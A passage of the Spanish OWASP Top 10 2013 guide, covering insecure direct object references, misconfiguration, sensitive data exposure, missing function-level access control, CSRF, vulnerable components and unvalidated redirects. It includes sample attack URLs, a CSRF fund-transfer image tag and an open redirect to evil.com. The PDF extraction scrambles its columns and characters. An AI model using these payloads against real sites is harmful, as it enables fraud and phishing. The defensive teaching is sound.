determinados =pos de un objeto del sistema por objetos directos inseguros. Los auditores pueden que el espacio de
Tambin considere el
datos del sistema? otro objeto para el que el manipular fcilmente los valores del parmetro nombres resulte escaso,
impacto en el negocio de
usuario no se encuentra para detectar estas vulnerabilidades. Un anlisis de para un atacante resulta
la exposicin pblica de
autorizado. Se concede el cdigo muestra rpidamente si la autorizacin se sencillo acceder a todos
la vulnerabilidad.
acceso? verica correctamente. los datos disponibles de
ese =po.

La mejor manera de poder comprobar si una aplicacin es Requiere seleccionar una forma de proteger los objetos accesibles
vulnerable a referencias inseguras a objetos es vericar que todas por cada usuario (iden=cadores de objeto, nombres de chero):
las referencias a objetos =enen las protecciones apropiadas. Para
conseguir esto, considerar: 1. UClizar referencias indirectas por usuario o sesin. Esto
evitara que los atacantes accedieren directamente a recursos
1. Para referencias directas a recursos restringidos, la aplicacin no autorizados. Por ejemplo, en vez de u=lizar la clave del
necesitara vericar si el usuario est autorizado a acceder al recurso de base de datos, se podra u=lizar una lista de 6
recurso en concreto que solicita. recursos que u=lizase los nmeros del 1 al 6 para indicar cul es
el valor elegido por el usuario. La aplicacin tendra que realizar
2. Si la referencia es una referencia indirecta, la correspondencia la correlacin entre la referencia indirecta con la clave de la
con la referencia directa debe ser limitada a valores autorizados base de datos correspondiente en el servidor. ESAPI de OWASP
para el usuario en concreto. incluye relaciones tanto secuenciales como aleatorias de
Un anlisis del cdigo de la aplicacin servira para vericar referencias de acceso que los desarrolladores pueden u=lizar
rpidamente si dichas propuestas se implementan con seguridad. para eliminar las referencias directas a objetos.
Tambin es efec=vo realizar comprobaciones para iden=car 2. Comprobar el acceso. Cada uso de una referencia directa a un
referencias a objetos directos y si estos son seguros. Normalmente objeto de una fuente que no es de conanza debe incluir una
las herramientas autom=cas no detectan este =po de comprobacin de control de acceso para asegurar que el
vulnerabilidades porque no son capaces de reconocer cules usuario est autorizado a acceder al objeto solicitado.
necesitan proteccin o cules son seguros e inseguros.
Ejemplos de escenarios de ataques Referencias (en ingls)

La aplicacin u=liza datos no vericados en una llamada SQL que OWASP
accede a informacin sobre la cuenta:
String query = "SELECT * FROM accts WHERE account = ?"; OWASP Top 10-2013 on Insecure Dir Object References
PreparedStatement pstmt = ESAPI Access Reference Map API

connecCon.prepareStatement(query , );
ESAPI Access Control API (Ver isAuthorizedForData(),
pstmt.setString( 1, request.getparameter("acct")); isAuthorizedForFile(), isAuthorizedForFuncCon() )
ResultSet results = pstmt.executeQuery( );
Para requisitos adiciones en controles de acceso, consultar la s
Si el atacante modica el parmetro acct en su navegador para eccin de requisitos sobre Control de Acceso de ASVS (V4).
enviar cualquier nmero de cuenta que quiera. Si esta accin no es
verica, el atacante podra acceder a cualquier cuenta de usuario, en
vez de a su cuenta de cliente correspondiente. Externas
hvp://example.com/app/accountInfo?acct=notmyacct CWE Entry 639 on Insecure Direct Object References
CWE Entry 22 on Path Traversal (que es un ejemplo de ataque de
referencia a un objeto directo)
Conguracin de Seguridad
A5 Incorrecta
Agentes de
Amenaza
Aplicacin FCIL COMN FCIL MODERADO aplicacin / negocio
Considere atacantes Un atacante accede a Las conguraciones de seguridad incorrectas Estas vulnerabilidades El sistema podra ser
annimos externos as cuentas por defecto, pueden ocurrir a cualquier nivel de la aplicacin, frecuentemente dan a completamente
como usuarios con sus pginas sin uso, fallas sin incluyendo la plataforma, servidor web, servidor los atacantes acceso no comprome=do sin su
propias cuentas que parchear, archivos y de aplicacin, base de datos, framework, y cdigo autorizado a algunas conocimiento. Todos sus
pueden intentar directorios sin proteccin, personalizado. Los desarrolladores y funcionalidades o datos datos podran ser
comprometer el sistema. etc. para obtener acceso administradores de sistema necesitan trabajar del sistema. robados o modicados
Tambin considere no autorizado o juntos para asegurar que las dis=ntas capas estn Ocasionalmente lentamente en el =empo.
personal interno conocimiento del sistema. conguradas apropiadamente. Las herramientas provocan que el sistema
buscando enmascarar de detaccin automa=zadas son =les para se comprometa Los costes de
recuperacin podran ser
sus acciones. detectar parches omi=dos, fallos de conguracin, totalmente.
uso de cuentas por defecto, servicios innecesarios, altos.
etc.
Soy vulnerable? Cmo prevenirlo?

Cuenta su aplicacin con el apropiado fortalecimiento en seguridad Las recomendaciones primarias son el establecimiento de todo lo
a travs de todas las capas que la componen? Incluyendo: siguiente:
1. Tiene algn soNware sin actualizar? Esto incluye el SO, Servidor 1. Un proceso rpido, fcil y repe=ble de fortalecimiento para
Web/Aplicacin, DBMS, aplicaciones, y todas las libreras de obtener un entorno apropiadamente asegurado. Los entornos
cdigo (ver nuevo A9). de Desarrollo, QA y Produccin deben ser congurados
idn=camente (con diferentes contraseas usadas en cada
2. Estn habilitadas o instaladas alguna caracters=ca innecesaria entorno). Este proceso puede ser autom=co para minimizar el
(p. ej. puertos, servicios, pginas, cuentas, privilegios)? esfuerzo de congurar un nuevo entorno seguro.
3. Estn las cuentas por defecto y sus contraseas an habilitadas 2. Un proceso para mantener y desplegar las nuevas
y sin cambiar? actualizaciones y parches de soNware de una manera oportuna
4. Su manejo de errores revela rastros de las capas de aplicacin para cada entorno. Debe incluir tambin todas las libreras de
u otros mensajes de error demasiado informa=vos a los cdigo (ver nuevo A9).
usuarios? 3. Una fuerte arquitectura de aplicacin que proporcione una
5. Estn las conguraciones de seguridad en su framework de separacin segura y efec=va entre los componentes.
desarrollo (p. ej. Struts, Spring, ASP.NET) y libreras sin 4. Considere ejecutar escaneos y realizar auditoras
congurar a valores seguros? peridicamente para ayudar a detectar fallos de conguracin
Sin un proceso repe=ble y concertado de conguracin de seguridad o parches omi=dos.
para las aplicaciones , los sistemas estn en alto riesgo.
Ejemplos de escenarios de Ataque Referencias (en ingls)

Escenario #1: La consola de administrador del servidor de OWASP
aplicaciones se instal autom=camente y no se ha eliminado. Las
cuentas por defecto no se han modicado. Un atacante descubre las OWASP Development Guide: Chapter on Congura=on
pginas por defecto de administracin que estn en su servidor, se OWASP Code Review Guide: Chapter on Error Handling
conecta con las contraseas por defecto y lo toma.
OWASP Tes=ng Guide: Congura=on Management
Escenario #2: El listado de directorios no se encuentra deshabilitado
en su servidor. El atacante descubre que puede simplemente listar OWASP Tes=ng Guide: Tes=ng for Error Codes
directorios para encontrar cualquier archivo. El atacante encuentra y
descarga todas sus clases compiladas de Java, las cuales decompila y OWASP Top 10 2004 - Insecure Congura=on Management
realiza ingeniera inversa para obtener todo su cdigo fuente. Para requerimientos adicionales en este rea, ver
Encuentra un fallo serio de control de acceso en su aplicacin. ASVS requirements area for Security Congura=on (V12).
Escenario #3: La conguracin del servidor de aplicaciones permite Externos
que se retornen la pila de llamada a los usuarios, exponindose
potencialmente a fallos subyacentes. A los atacantes les encanta que PC Magazine Ar=cle on Web Server Hardening
les proporcionen informacin extra con los mensajes de errores.
CWE Entry 2 on Environmental Security Flaws
Escenario #4: El servidor de aplicaciones viene con aplicaciones de
ejemplo que no se eliminaron del servidor de produccin. Las CIS Security Congura=on Guides/Benchmarks
aplicaciones de ejemplo pueden poseer fallos de seguridad bien
conocidos que los atacantes pueden u=lizar para comprometer su
servidor.
A6 Exposicin de datos sensibles
Agentes de
Amenaza
Aplicacin DIFCIL NO COMN PROMEDIO SEVERO Aplicacin/Negocio
Considere quin puede Los atacantes picamente La debilidad ms comn es simplemente no cifrar Los fallos Considere el valor de
obtener acceso a sus no quiebran la criptogra|a datos sensibles. Cuando se emplea cifrado, es frecuentemente negocio de la prdida de
datos sensibles y de forma directa, sino algo comn detectar generacin y ges=n dbiles de comprometen todos los datos y el impacto a su
cualquier respaldo de ms como robar claves, claves, el uso de algoritmos dbiles, y datos que deberan estar reputacin. Cul su
stos. Esto incluye los realizar ataques man in par=cularmente tcnicas dbiles de hashing de protegidos. Tpicamente, responsabilidad legal si
datos almacenados, en the middle, robar datos contraseas. Las debilidades a nivel del navegador esta informacin incluye estos datos son
trnsito, e inclusive en el en texto claro del servidor, son muy comunes y fciles de detectar, pero datos sensibles como ser expuestos? Tambin
navegador del cliente. mientras se encuentran en di|ciles de explotar a gran escala. Atacantes registros mdicos, considere el dao a la
Incluye tanto amenazas trnsito, o del navegador externos encuentran dicultades detectando credenciales, datos reputacin.
internas y externas. del usuario. debilidades en a nivel de servidor dado el acceso personales, tarjetas de
limitado y que son usualmente di|ciles de explotar. crdito, etc.

Lo primero que debe determinar es el conjunto de datos sensibles Los riesgos completos de u=lizar cifrado de forma no segura, uso de
que requerirn proteccin extra. Por ejemplo, contraseas, nmeros SSL, y proteccin de datos escapan al alcance del Top 10. Dicho esto,
de tarjetas de crdito, registros mdicos, e informacin personal para los datos sensibles, se deben realizar como mnimo lo siguiente:
deberan protegerse. Para estos datos: 1. Considere las amenazas de las cules proteger los datos (ej:
atacante interno, usuario externo), asegrese de cifrar los datos
1. Se almacenan en texto claro a largo plazo, incluyendo sus sensibles almacenados o en trco de manera de defenderse
respaldos? de estas amenazas.
2. No almacene datos sensibles innecesariamente. Descrtelos
2. Se transmite en texto claro, interna o externamente? El trco apenas sea posible. Datos que no se poseen no pueden ser
por Internet es especialmente peligroso. robados.
3. Se u=liza algn algoritmo criptogrco dbil/an=go? 3. Asegrese de aplicar algoritmos de cifrado fuertes y estndar
as como claves fuertes y ges=nelas de forms segura.
4. Se generan claves criptogrcas dbiles, o falta una adecuada Considere u=lizar mdulos criptogrcos validados como
rotacin o ges=n de claves? FIPS 140
4. Asegrese que las claves se almacenan con un algoritmo
5. Se u=lizan tanto cabezales como direc=vas de seguridad del especialmente diseado para protegerlas como ser bcrypt,
navegador cuando son enviados o provistos por el mismo? PBKDF2 o scrypt.
5. Deshabilite el autocompletar en los formularios que recolectan
Y ms ... Por un conjunto completo de problemas a evitar, ver datos sensibles. Deshabilite tambin el cacheado de pginas
que contengan datos sensibles.
ASVS areas Crypto (V7), Data Prot. (V9), and SSL (V10).
Ejemplos de escenarios de Ataques Referencias en ingls)

Escenario #1: Una aplicacin cifra los nmeros de tarjetas de crdito OWASP
en una base de datos u=lizando cifrado autom=co de la base de
datos. Esto signica que tambin se descifra estos datos Para un conjunto completo de requerimientos, ver
autom=camente cuando se recuperan, permi=endo por medio de ASVS reqs on Cryptography (V7), Data ProtecCon (V9) y
una debilidad de inyeccin de SQL recuperar nmeros de tarjetas en CommunicaCons Security (V10)
texto claro. El sistema debera cifrar dichos nmero usando una OWASP Cryptographic Storage Cheat Sheet
clave pblica, y permi=r solamente a las aplicaciones de back-end
descifrarlo con la clave privada. OWASP Password Storage Cheat Sheet
Escenario #2: Un si=o simplemente no u=liza SSL para todas sus OWASP Transport Layer Protec=on Cheat Sheet
pginas que requieren auten=cacin. El atacante monitorea el
trco en la red (como ser una red inalmbrica abierta), y ob=ene la OWASP Tes=ng Guide: Chapter on SSL/TLS Tes=ng
cookie de sesin del usuario. El atacante reenva la cookie y Externas
secuestra la sesin, accediendo los datos privados del usuario.
CWE Entry 310 on Cryptographic Issues
Escenario #3: La base de datos de claves usa hashes sin salt para
almacenar las claves. Una falla en una subida de archivo permite a CWE Entry 312 on Cleartext Storage of Sensi=ve Informa=on
un atacante obtener el archivo de claves. Todas las claves pueden
ser expuestas mediante una tabla rainbow de hashes precalculados. CWE Entry 319 on Cleartext Transmission of Sensi=ve Informa=on
CWE Entry 326 on Weak Encryp=on

Inexistente Control de Acceso
A7 a nivel de funcionalidades
Agentes de
Amenaza
Aplicacin FCIL COMN PROMEDIO MODERADO aplicacin/negocio
Cualquiera con acceso a El atacante, que es un Las aplicaciones no siempre protegen las Estas vulnerabilidades Considere el valor para
la red puede enviar una funcionalidades adecuadamente. En ocasiones la permiten el acceso no su negocio de las
usuario leg=mo en el proteccin a nivel de funcionalidad se administra
pe=cin a su aplicacin. autorizado de los funciones expuestas y los
sistema, simplemente por medio de una conguracin, y el sistema est datos que stas
Un usuario annimo mal congurado. Otras veces los programadores atacantes a funciones del
cambia la URL o un deben incluir un adecuado chequeo por cdigo, y procesan. Adems,
podra acceder a una sistema.
parmetro a una funcin se olvidan. considere el impacto a su
funcionalidad privada o reputacin si esta
con privilegios. Se le La deteccin de este =po de vulnerailidad es Las funciones
un usuario normal sencillo. La parte ms compleja es iden=car qu vulnerabilidad se hiciera
administra=vas son un
acceder a una funcin concede acceso? Usuarios pginas (URLs) o funcionalidades atacables existen. pblica.
obje=vo clave de este
que requiere privilegios? annimos podran acceder
=po de ataques.
a funcionalidades privadas
que no estn protegidas.
La mejor manera de determinar si una aplicacin falla en restringir La aplicacin debera tener un mdulo de autorizacin consistente y
adecuadamente el acceso a nivel de funcionalidades es vericar fcil de analizar, invocado desde todas las funciones de negocio.
cada funcionalidad de la aplicacin: Frecuentemente, esa proteccin es provista por uno o ms
1. La interfaz de usuario (UI) muestra la navegacin hacia componentes externos al cdigo de la aplicacin.
funcionalidades no autorizadas?
1. El proceso para ges=n de accesos y permisos debera ser
2. Existe auten=cacin del lado del servidor, o se han perdido las actualizable y auditable fcilmente. No lo implemente
comprobaciones de autorizacin? directamente en el cdigo sin u=lizar parametrizaciones.
3. Los controles del lado del servidor se basan exclusivamente
en la informacin proporcionada por el atacante? 2. La implementacin del mecanismo debera negar todo acceso
por defecto, requiriendo el establecimiento explcito de
Usando un proxy, navegue su aplicacin con un rol privilegiado. permisos a roles especcos para acceder a cada funcionalidad.
Luego visite reiteradamente pginas restringidas usando un rol con
menos privilegios. Si el servidor responde a ambos por igual, 3. Si la funcionalidad forma parte de un workow, verique y
probablemente es vulnerable. Algunas pruebas de proxies apoyan asegese que las condiciones del ujo se encuentren en el
directamente este =po de anlisis. estado apropiado para permi=r el acceso.
Tambin puede revisar la implementacin del control de acceso en NOTA: La mayora de las aplicaciones web no despliegan links o
el cdigo. Intente seguir una solicitud unitaria y con privilegios a botones para funciones no autorizadas, pero en la prc=ca el
travs del cdigo y verique el patrn de autorizacin. Luego busque control de acceso de la capa de presentacin no provee
en el cdigo para detectar donde no se est siguiendo ese patrn . proteccin. Ud. debera implementar chequeos en los controladores
Las herramientas automa=zadas no suelen encontrar estos y/o lgicas de negocios.
problemas.

Ejemplos de Escenarios de Ataque Referencias (en ingls)
Escenario #1: El atacante simplemente fuerza la navegacin hacia las OWASP
URLs obje=vo. La siguiente URLs requiere auten=cacin. Los
derechos de administrador tambin son requeridos para el acceso a OWASP Top 10-2007 on Failure to Restrict URL Access
la pgina admin_getappInfo. ESAPI Access Control API
hvp://example.com/app/getappInfo OWASP Development Guide: Chapter on Authoriza=on
hvp://example.com/app/admin_getappInfo OWASP Tes=ng Guide: Tes=ng for Path Traversal
Si un usuario no auten=cado puede acceder a ambas pginas, eso es OWASP Ar=cle on Forced Browsing
una vulnerabilidad. Si un usuario auten=cado, no administrador,
puede acceder a admin_getappInfo, tambin es una Para requerimientos de control de acceso adicionales, ver
vulnerabilidad, y podra llevar al atacante a ms pginas de ASVS requirements area for Access Control (V4).
administracin protegidas inadecuadamente.

Externos
Escenario #2: Una pgina proporciona un parmetro de accin
para especicar la funcin que ha sido invocada, y diferentes CWE Entry 285 on Improper Access Control (Authoriza=on)
acciones requieren diferentes roles. Si estos roles no se verican al
invocar la accin, es una vulnerabilidad.
Falsicacin de PeCciones en SiCos
A8 Cruzados (CSRF)
Agentes de
Amenaza
Aplicacin PROMEDIO COMN FCIL MODERADO aplicacin/negocio
Considere cualquier El atacante crea pe=ciones CSRF aprovecha el hecho que la mayora de las Los atacantes pueden Considerar el valor de
persona que pueda HTTP falsicadas y engaa aplicaciones web permiten a los atacantes predecir cambiar cualquier dato negocio asociado a los
cargar contenido en los a la vic=ma mediante el todos los detalles de una accin en par=cular. que la vc=ma est datos o funciones
navegadores de los envo de e=quetas de Dado que los navegadores envan credenciales autorizada a cambiar, o a afectados. Tener en
como cookies de sesin de forma autom=ca, los
usuarios, y as obligarlos imgenes, XSS u otras atacantes pueden crear pginas web maliciosas acceder a cualquier cuenta lo que representa
a presentar una solicitud tcnicas. Si el usuario est que generan pe=ciones falsicadas que son funcionalidad donde est no estar seguro si los
para su si=o web. auten=cado, el ataque indis=nguibles de las leg=mas. La deteccin de autorizada, incluyendo usuarios en realidad
Cualquier si=o web o =ene xito. fallos de =po CSRF es bastante fcil a travs de registro, cambios de desean realizar dichas
canal HTML que el pruebas de penetracin o de anlisis de cdigo. estado o cierre de sesin. acciones. Considerar el
usuario acceda puede impacto que =ene en la
realizar este =po de reputacin de su
ataque. negocio.

Para conocer si una aplicacin es vulnerable, verique la ausencia de La prevencin CSRF por lo general requiere la inclusin de un token
un token impredecible en cada enlace y formulario. En dicho caso, no predecible en cada solicitud HTTP. Estos tokens deben ser, como
un atacante puede falsicar pe=ciones maliciosas. Una defensa mnimo, nicos por cada sesin del usuario.
alterna=va puede ser la de requerir que el usuario demuestre su
intencin de enviar la solicitud, ya sea a travs de la re- 1. La opcin preferida es incluir el token nico en un campo
auten=cacin, o mediante cualquier otra prueba que demuestre que oculto. Esto hace que el valor de dicho campo se enve en el
se trata de un usuario real (por ejemplo, un CAPTCHA). cuerpo de la solicitud HTTP, evitando su inclusin en la URL,
Cntrese en los enlaces y formularios que invoquen funciones que sujeta a mayor exposicin.
permitan cambios de estados, ya que stos son los obje=vos ms 2. El token nico tambin puede ser incluido en la propia URL, o
importantes del CSRF. un parmetro de la misma. Sin embargo, esta prc=ca presenta
Deben vericarse las operaciones de ml=ples pasos, ya que no son el riesgo e inconveniente de que la URL sea expuesta a un
inmunes a este =po de ataque. Los atacantes pueden falsicar atacante, y por lo tanto, pueda comprometer el token secreto.
fcilmente una serie de solicitudes mediante el uso de e=quetas o
incluso de cdigo Javascript. CSRF Guard de OWASP puede incluir autom=camente los tokens
secretos en Java EE,. NET, aplicaciones PHP. Por otro lado, ESAPI de
Tenga en cuenta que las cookies de sesin, direcciones IP de origen, OWASP incluye tambin mtodos para que los desarrolladores
as como otra informacin enviada autom=camente por el puedan u=lizar con tal evitar este =po de vulnerabilidades.
navegador no proveen ninguna defensa ya que esta informacin
tambin se incluye en las solicitudes de falsicadas. 3. Requiera que el usuario vuelva a auten=carse, o pruebas que se
La herramienta de pruebas CSRF (CSRF Tester) de OWASP puede trata de un usuario legi=mo (por ejemplo mediante el uso de
ayudar a generar casos de prueba que ayuden a demostrar los daos CAPTCHA) pueden tambin proteger frente ataques de =po
y peligros de los fallos de =po CSRF. CSRF.
Ejemplos de Escenarios de Ataque Referencias

La aplicacin permite al usuario enviar una pe=cin de cambio de OWASP
estado no incluya nada secreto. Por ejemplo:
OWASP CSRF Ar=cle
hvp://example.com/app/transferFunds?
amount=1500&desCnaConAccount=4673243243 OWASP CSRF Preven=on Cheat Sheet
De esta forma, el atacante construye una pe=cin que transferir el OWASP CSRFGuard - CSRF Defense Tool
dinero de la cuenta de la vc=ma hacia su cuenta. Seguidamente, el ESAPI Project Home Page
atacante inserta su ataque en una e=queta de imagen o iframe
almacenado en varios si=os controlados por l de la siguiente forma: ESAPI HTTPU=li=es Class with An=CSRF Tokens
<img src="hvp://example.com/app/transferFunds? OWASP Tes=ng Guide: Chapter on CSRF Tes=ng
amount=1500&desCnaConAccount=avackersAcct# width="0"
height="0" /> OWASP CSRFTester - CSRF Tes=ng Tool
Si la vc=ma visita alguno de los si=os controlados por el atacante, Externos

estando ya auten=cado en example.com, estas pe=ciones CWE Entry 352 on CSRF
falsicadas incluirn autom=camente la informacin de la sesin
del usuario, autorizando la pe=cin del atacante.
Uso de Componentes con
A9 Vulnerabilidades Conocidas
Agentes de
Amenaza
Especco de la Explotabilidad Prevalencia Detectabilidad Impacto Especco de la
Aplicacin PROMEDIO DIFUNDIDO DIFCIL MODERADO aplicacin / negocio
Algunos componentes El atacante iden=ca un Virtualmente cualquier aplicacin =ene este =po El rango completo de Considere qu puede
vulnerables (por ejemplo componente dbil a travs de problema debido a que la mayora de los debilidades incluye signicar cada
frameworks) pueden ser de escaneos autom=cos o equipos de desarrollo no se enfocan en asegurar inyeccin, control de vulnerabilidad para el
iden=cados y anlisis manuales. Ajusta el que sus componentes / bibiliotecas se encuentren acceso roto, XSS, etc. El negocio controlado por
explotados con exploit como lo necesita y actualizadas. En muchos casos, los desarrolladores impacto puede ser desde la aplicacin afectada.
herramientas ejecuta el ataque. Se hace no conocen todos los componentes que u=lizan, y mnimo hasta Puede ser trivial o puede
automa=zadas, ms di|cil si el menos sus versiones. Dependencias entre apoderamiento completo signicar compromiso
aumentando las componente es componentes dicultan incluso ms el problema. del equipo y compromiso completo.
opciones de la amenaza ampliamente u=lizado en de los datos.
ms all del obje=vo la aplicacin.
atacado.

En teora, debiera ser fcil dis=nguir si estas usando un componente Una opcin es no usar componentes que no ha codicado. Pero eso
o biblioteca vulnerable. Desafortunadamente, los reportes de no es realista. La mayora de los proyectos de componentes no crean
vulnerabilidades para soNware comercial o de cdigo abierto no parches de vulnerabilidades de las versiones ms an=guas. A
siempre especica exactamente que versin de un componente es cambio, la mayora sencillamente corrige el problema en la versin
vulnerable en un estndar, de forma accesible. Ms an, no todas las siguiente. Por lo tanto, actualizar a esta nueva versin es cr=co.
bibliotecas usan un sistema numrico de versiones entendible. Y lo Proyectos de soNware debieran tener un proceso para:
peor de todo, no todas las vulnerabilidades son reportadas a un
centro de intercambio fcil de buscar, Si=os como CVE y NVD se 1. Iden=car todos los componentes y la versin que estn
estn volviendo fciles de buscar. ocupando, incluyendo dependencias (ej: El plugin de versin).
Para determinar si es vulnerable necesita buscar en estas bases de 2. Revisar la seguridad del componente en bases de datos
datos, as como tambin mantenerse al tanto de la lista de correos pblicas, lista de correos del proyecto, y lista de correo de
del proyecto y anuncios de cualquier cosa que pueda ser una seguridad, y mantenerlos actualizados.
vulnerabilidad, si uno de sus componentes =ene una vulnerabilidad, 3. Establecer pol=cas de seguridad que regulen el uso de
debe evaluar cuidadosamente si es o no vulnerable revisando si su componentes, como requerir ciertas prc=cas en el desarrollo
cdigo u=liza la parte del componente vulnerable y si el fallo puede de soNware, pasar test de seguridad, y licencias aceptables.
resultar en un impacto del cual cuidarse.
4. Sera apropiado, considerar agregar capas de seguridad
alrededor del componente para deshabilitar funcionalidades no
u=lizadas y/o asegurar aspectos dbiles o vulnerables del
componente.

Los componentes vulnerables pueden causar casi cualquier =po de OWASP
riesgo imaginable, desde trivial a malware sos=cado diseado para OWASP Dependency Check (for Java libraries)
un obje=vo especco. Casi siempre los componentes =enen todos
los privilegios de la aplicacin, debido a esto cualquier falla en un OWASP SafeNuGet (for .NET libraries thru NuGet)
componente puede ser serio, Los siguientes componentes Good Component Prac=ces Project
vulnerables fueron descargados 22M de veces en el 2011.
Apache CXF Authen=ca=on Bypass- Debido a que no otorgaba un Externas
token de iden=dad, los atacantes podan invocar cualquier
servicio web con todos los permisos.(Apache CXF es un La desafortunada realidad de bibliotecas inseguras
framework de servicios, no confundir con el servidor de
aplicaciones de Apache.) Seguridad del soNware de cdigo abierto
Spring Remote Code Execu=on El abuso de la implementacin Agregando preocupacin por la seguridad en componentes de
cdigo abierto

en Spring del componente Expression Languaje permi= a los

atacantes ejecutar cdigo arbitrario, tomando el control del MITRE Vulnerabilidades comunes y exposicin
servidor. Cualquier aplicacin que u=lice cualquiera de esas
bibliotecas vulnerables es suscep=ble de ataques. Ejemplo de asignacin de vulnerabilidades corregidas en
Ac=veRecord, de Ruby on Rails2
Ambos componentes son directamente accesibles por el usuario de
la aplicacin. Otras bibliotecas vulnerables, usadas ampliamente en
una aplicacin, puede ser mas di|ciles de explotar.
A10 Redirecciones y reenvos no vlidos
Agentes de
Amenaza
Aplicacin PROMEDIO POCO COMN FCIL MODERADO Aplicacin / Negocio
Considere la probabilidad Un atacante crea enlaces a Con frecuencia, las aplicaciones redirigen a los Estas redirecciones Considere el valor de
de que alguien pueda redirecciones no validadas usuarios a otras pginas, o u=lizan des=nos pueden intentar instalar negocio de conservar la
engaar a los usuarios a y engaa a las vc=mas internos de forma similar. Algunas veces la pgina cdigo malicioso o conanza de sus
enviar una pe=cin a su para que hagan clic en de des=no se especica en un parmetro no engaar a las vc=mas usuarios.
aplicacin web. Cualquier dichos enlaces. Las validado, permi=endo a los atacantes elegir dicha para que revelen Qu pasara si sus
aplicacin o cdigo HTML vc=mas son ms pgina. contraseas u otra usuarios son infectados
al que acceden sus propensas a hacer clic Detectar redirecciones sin validar es fcil. Se trata informacin sensible. El con cdigo malicioso?
usuarios podra realizar sobre ellos ya que el enlace de buscar redirecciones donde el usuario puede uso de reenvos
este engao lleva a una aplicacin de inseguros puede permi=r Qu ocurrira si los
establecer la direccin URL completa. Vericar atacantes pudieran
conanza. El atacante reenvos sin validar resulta ms complicado ya que evadir el control de
=ene como obje=vo los acceso. acceder a funciones que
apuntan a pginas internas. slo debieran estar
des=nos inseguros para
disponibles de forma
evadir los controles de
seguridad. interna?

La mejor forma de determinar si una aplicacin dispone de El uso seguro de reenvos y redirecciones puede realizarse de varias
redirecciones y re-envos no validados, es : maneras:
1. Revisar el cdigo para detectar el uso de redirecciones o 1. Simplemente evitando el uso de redirecciones y reenvos.
reenvos (llamados transferencias en .NET). Para cada uso,
iden=car si la URL obje=vo se incluye en el valor de algn 2. Si se u=liza, no involucrar parmetros manipulables por el
parmetro. Si es as, si la URL obje=vo no es validada con una usuario para denir el des=no. Generalmente, esto puede
lista blanca, usted es vulnerable.. realizarse.
2. Adems, recorrer la aplicacin para observar si genera 3. Si los parmetros de des=no no pueden ser evitados, asegrese
cualquier redireccin (cdigos de respuesta HTTP 300-307, que el valor suministrado sea vlido y autorizado para el
picamente 302). Analizar los parmetros facilitados antes de la usuario.
redireccin para ver si parecen ser una URL de des=no o un Se recomienda que el valor de cuaIquier parmetro de des=no
recurso de dicha URL. Si es as, modicar la URL de des=no y sea un valor de mapeo, el lugar de la direccin URL real o una
observar si la aplicacin redirige al nuevo des=no. porcin de esta y en el cdigo del servidor traducir dicho valor
3. Si el cdigo no se encuentra disponible, se deben analizar todos a la direccin URL de des=no. Las aplicaciones pueden u=lizar
los parmetros para ver si forman parte de una redireccin o ESAPI para sobreescribir el mtodo sendRedirect() y asegurarse
reenvo de una URL de des=no y probar lo que hacen estos. que todos los des=nos redirigidos son seguros.
Evitar estos problemas resulta extremadamente importante ya que
son un blanco preferido por los phishers que intentan ganarse la
conanza de los usuarios.
Ejemplos de Escenarios de Ataque Referencias

Escenario #1: La aplicacin =ene una pgina llamada redirect.jsp OWASP
que recibe un nico parmetro llamado url. El atacante compone
una URL maliciosa que redirige a los usuarios a una aplicacin que OWASP Ar=cle on Open Redirects
realiza phishing e instala cdigo malicioso. ESAPI SecurityWrapperResponse sendRedirect() method
hvp://www.example.com/redirect.jsp?url=evil.com
Escenario #2: La aplicacin u=liza reenvos para redirigir pe=ciones Externas
entre dis=ntas partes de la aplicacin. Para facilitar esto, algunas
pginas u=lizan un parmetro para indicar donde debera ser CWE Entry 601 on Open Redirects
dirigido el usuario si la transaccin es sa=sfactoria. En este caso, el
atacante compone una URL que evadir el control de acceso de la WASC Ar=cle on URL Redirector Abuse
aplicacin y llevar al atacante a una funcin de administracin a la Google blog ar=cle on the dangers of open redirects
que en una situacin habitual no debera tener acceso.

hvp://www.example.com/boring.jsp?fwd=admin.jsp OWASP Top 10 for .NET ar=cle on Unvalidated Redirects and
Forwards
+D Qu ms hay para Desarrolladores
Establezca y UClice Procesos de Seguridad RepeCbles y Controles Estndar de Seguridad

Tanto si usted es nuevo en el campo de la seguridad en aplicaciones web como si ya se encuentra familiarizado con estos riesgos, la tarea de
producir una aplicacin web segura o corregir una ya existente puede ser di|cil. Si debe ges=onar un gran nmero de aplicaciones, puede
resultar desalentador.

Para ayudar a las organizaciones y desarrolladores a reducir los riesgos de seguridad de sus aplicaciones de un modo rentable, OWASP ha
producido un gran nmero de recursos gratuitos y abiertos, que los puede usar para ges=onar la seguridad de las aplicaciones en su
organizacin. A con=nuacin, se muestran algunos de los muchos recursos que OWASP ha producido para ayudar a las organizaciones a
generar aplicaciones web seguras. En la siguiente pgina, presentamos recursos adiciones de OWASP que pueden ayudar a las organizaciones a
vericar la seguridad de sus aplicaciones.

Para producir aplicaciones web seguras, debe denir qu signica seguro para esa aplicacin. OWASP
Requisitos de recomienda usar Estndar de Vericacin de Seguridad en Aplicaciones (ASVS) OWASP como una gua para
Seguridad en
ajustar los requisitos de seguridad de su(s) aplicacin(es). Si est externalizando, considere el Anexo:
Aplicaciones Contrato de SoNware Seguro.

Arquitectura
de seguridad Es mucho ms rentable disear la seguridad desde el principio que aadir seguridad a su(s) aplicacin(es).
OWASP recomienda la Gua de Desarrollo OWASP, y las hojas de prevencin de trampas OWASP como
en puntos de inicio p=mos para guiarlo en el diseo de la seguridad.
aplicaciones

Construir controles de seguridad fuertes y u=lizables es excepcionalmente di|cil. Un conjunto de controles
Controles de estndar de seguridad simplican radicalmente el desarrollo de aplicaciones seguras. OWASP recomienda el
Seguridad proyecto Enterprise Security API (ESAPI) como un modelo para las APIs de seguridad necesarias para producir
Estndar aplicaciones web seguras. ESAPI proporciona implementaciones de referencia en Java, .NET, PHP,
Classic ASP, Python, y Cold Fusion.

Para mejorar el proceso que su organizacin u=liza al construir aplicaciones, OWASP recomienda el
Ciclo de vida Modelo de Garana de la Madurez del SoNware OWASP SoNware Assurance Maturity Model (SAMM). Este
de desarrollo modelo ayuda a las organizaciones a formular e implementar estrategias para el soNware seguro adaptado a
seguro
los riesgos especcos para su organizacin.

Educacin de El proyecto educacional OWASP proporciona materiales de formacin para ayudar a educar desarrolladores
en seguridad en aplicaciones web, y ha compilado una gran nmero de presentaciones educa=vas. Para una
la Seguridad
formacin prc=ca acerca de vulnerabilidades, pruebe los proyectos OWASP WebGoat, WebGoat.net, o el
en OWASP Broken Web Applica=on Project. Para mantenerse al da, acuda a una Conferencia AppSec OWASP,
Aplicaciones Conferencia de Entrenamiento OWASP o a reuniones de los captulos OWASP locales.

